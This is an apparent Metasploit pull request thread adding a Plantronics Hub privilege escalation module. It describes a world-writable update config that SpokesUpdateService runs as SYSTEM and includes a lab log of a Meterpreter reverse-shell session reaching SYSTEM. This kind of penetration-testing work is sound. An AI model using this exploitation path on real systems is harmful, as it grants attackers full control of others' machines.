Add Plantronics Hub SpokesUpdateService Privilege Escalation

[bcoles]

Add Plantronics Hub SpokesUpdateService Privilege Escalation module.

    The Plantronics Hub client application for Windows makes use of an
    automatic update service `SpokesUpdateService.exe` which automatically
    executes a file specified in the `MajorUpgrade.config` configuration
    file as SYSTEM. The configuration file is writable by all users by default.

    This module has been tested successfully on Plantronics Hub version 3.13.2
    on Windows 7 SP1 (x64).

Resolves #12781

Fixed

[smcintyre-r7]

Just tested this and it's working as intended on Windows 10 x64.

msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > check
[*] The service is running, but could not be validated.
msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > exploit

[*] Started reverse TCP handler on 192.168.44.128:4444 
[*] Sending stage (180291 bytes) to 192.168.44.130
[*] Meterpreter session 2 opened (192.168.44.128:4444 -> 192.168.44.130:53873) at 2020-01-15 10:35:43 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

[smcintyre-r7]

Merged, thanks @bcoles!

[smcintyre-r7]

Release Notes

This adds a module for exploiting a local privilege escalation vulnerability within the Plantronics Hub software. This vulnerability, identified as 2019-15742, has been tested on Windows 7 x64 and Windows 10 x64 where it will yield a session as NT AUTHORITY\SYSTEM.